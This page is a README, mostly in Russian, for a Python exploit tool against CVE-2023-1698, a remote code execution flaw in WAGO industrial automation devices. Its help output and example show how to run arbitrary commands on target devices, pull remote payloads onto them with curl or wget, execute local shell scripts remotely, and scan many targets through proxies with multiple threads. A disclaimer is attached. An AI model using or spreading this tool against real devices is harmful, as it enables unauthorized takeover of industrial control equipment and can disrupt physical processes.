
Уязвимость удаленного выполнения кода в системе WAGO (CVE-2023-1698)
Удаленное выполнение кода в системе WAGO (CVE-2023-1698)
Я разработал инструмент для локального тестирования и разработки POC, который предназначен только для технического ознакомления. Пожалуйста, не используйте его в незаконных целях. Любые прямые или косвенные последствия и убытки, вызванные использованием информации, представленной в этой статье, физическими или юридическими лицами, являются ответственностью самих пользователей и не имеют отношения к автору!!!

WAGO — компания, специализирующаяся на электрических соединениях, автоматизации и интерфейсной электронной технике. В нескольких продуктах WAGO обнаружена уязвимость, позволяющая неавторизованным удалённым злоумышленникам создавать новых пользователей и изменять конфигурацию устройств, что может привести к удалённому выполнению кода (RCE), отказу в обслуживании и повреждению всей системы.
pip install -r requirements.txt
python "WAGO-CVE-2023-1698 .py" -h
usage: WAGO-CVE-2023-1698 .py [-h] (-u URL | -f FILE)
[--remote-file-include REMOTE_FILE_INCLUDE | --local-file-include LOCAL_FILE_INCLUDE | --remote-command REMOTE_COMMAND]
[--random-agent RANDOM_AGENT] [-d DELAY] [-t THREAD] [--proxy PROXY] [--type TYPE] [-o OUTPUT]
WAGO System Remote Code Execution Vulnerability (CVE-2023-1698)
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Enter target object
-f FILE, --file FILE Input target object file
--remote-file-include REMOTE_FILE_INCLUDE
Enter the filepath(it must be On the public network)
--local-file-include LOCAL_FILE_INCLUDE
Enter the filepath(it must be On the local)
--remote-command REMOTE_COMMAND
Enter the command you want to execute
--random-agent RANDOM_AGENT
Using random user agents
-d DELAY, --delay DELAY
Set multi threaded access latency (setting range from 0 to 5)
-t THREAD, --thread THREAD
Set the number of program threads (setting range from 1 to 50)
--proxy PROXY Set up the proxy
--type TYPE Set up the remote upload file type
-o OUTPUT, --output OUTPUT
output filename
--remote-file-include, указать URL удалённого файла; файл будет загружен в каталог /tmp или текущий каталог с помощью curl или wget. Specify a remote file URL, which will upload the file to the tmp directory or current directory through curl or wget --local-file-include, анализировать локальный shell-скрипт и выполнить его на удалённой системе. Parse local shell script files and execute them remotely --remote-command REMOTE, выполнить одну системную команду. Execute a system command
python wago.py -u ** --proxy http://127.0.0.1:10809 --remote-command "cat /var/log/wago"